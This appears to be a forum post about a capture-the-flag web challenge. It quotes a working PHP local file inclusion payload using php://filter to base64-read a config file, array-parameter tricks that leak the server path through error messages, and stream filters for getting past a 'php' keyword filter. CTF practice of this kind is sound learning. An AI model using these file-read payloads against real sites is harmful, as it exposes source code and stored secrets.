

Level11.tasteless.eu/index.php – need help with “Hard” - evandrix

I&#x27;ve already solved &quot;Easy&quot; - http:&#x2F;&#x2F;level11.tasteless.eu&#x2F;index.php?file=php:&#x2F;&#x2F;filter&#x2F;convert.base64-encode&#x2F;resource=config.easy.inc.php<p>I was told that the &quot;Hard&quot; version is essentially the same as &quot;Easy&quot;, except that the keyword &quot;php&quot; is filtered, so &quot;Easy&quot;&#x27;s solution won&#x27;t work anymore, ie. I can imagine something like `preg_match(&quot;&#x2F;php&#x2F;i&quot;, $file)` is filtering it on &quot;Hard&quot; version.<p>__errors I managed to trigger__<p>http:&#x2F;&#x2F;level11.tasteless.eu&#x2F;index.php?hard=1&amp;file[]=test.txt<p>Warning: trim() expects parameter 1 to be string, array given in &#x2F;var&#x2F;www&#x2F;chall&#x2F;level11&#x2F;index.php on line 32<p>http:&#x2F;&#x2F;level11.tasteless.eu&#x2F;index.php?hard=0&amp;file[0]=&quot;php:&#x2F;&#x2F;filter&#x2F;convert.base64-encode&#x2F;resource=config.easy.inc.php<p>Warning: preg_match() expects parameter 2 to be string, array given in &#x2F;var&#x2F;www&#x2F;chall&#x2F;level11&#x2F;index.php on line 35<p>...these show the path of the file, as well as functions to bypass<p>__filter functions that work__<p>convert.base64-encode, convert.base64-decode, zlib.deflate, bzip2.compress
======
evandrix
solved

